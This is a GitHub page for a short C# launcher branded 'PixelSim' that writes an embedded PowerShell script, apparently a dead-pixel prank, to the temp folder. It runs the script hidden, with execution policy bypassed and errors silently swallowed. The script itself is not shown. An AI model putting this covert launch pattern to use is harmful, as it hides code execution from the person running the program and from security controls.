-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy path_Packager.cs
More file actions
35 lines (31 loc) · 1.26 KB
/
_Packager.cs
File metadata and controls
35 lines (31 loc) · 1.26 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
using System;
using System.IO;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.InteropServices;
[assembly: AssemblyTitle("PixelSim")]
[assembly: AssemblyDescription("Simulates pixels.")]
[assembly: AssemblyCompany("FlyTech Videos")]
[assembly: AssemblyProduct("PixelSim")]
[assembly: AssemblyCopyright("Copyright © 2026 FlyTech Videos")]
[assembly: AssemblyFileVersion("1.0.0.0")]
class YouTubeApp {
static void Main() {
try {
string resourceName = "_DeadPixelSimulator.ps1";
string scriptPath = Path.Combine(Path.GetTempPath(), resourceName);
using (Stream stream = Assembly.GetExecutingAssembly().GetManifestResourceStream(resourceName)) {
if (stream == null) return;
using (FileStream fileStream = new FileStream(scriptPath, FileMode.Create)) {
stream.CopyTo(fileStream);
}
}
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "powershell.exe";
psi.Arguments = string.Format("-WindowStyle Hidden -ExecutionPolicy Bypass -File \"{0}\"", scriptPath);
psi.CreateNoWindow = true;
psi.UseShellExecute = false;
Process.Start(psi);
} catch {}
}
}